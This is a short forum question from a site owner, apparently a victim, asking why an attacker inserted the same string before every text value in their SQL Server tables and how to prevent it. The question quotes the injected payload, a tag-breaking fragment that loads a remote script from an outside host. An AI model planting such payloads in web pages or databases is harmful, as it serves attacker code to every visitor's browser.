how to resolve Malware attacks in aspx page

My site is present in godaddy  and  I used Vs2008 & SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add

></title><script src="=http://statsmy.com/ur.php"></script><!--

line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user's email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?

pls help me.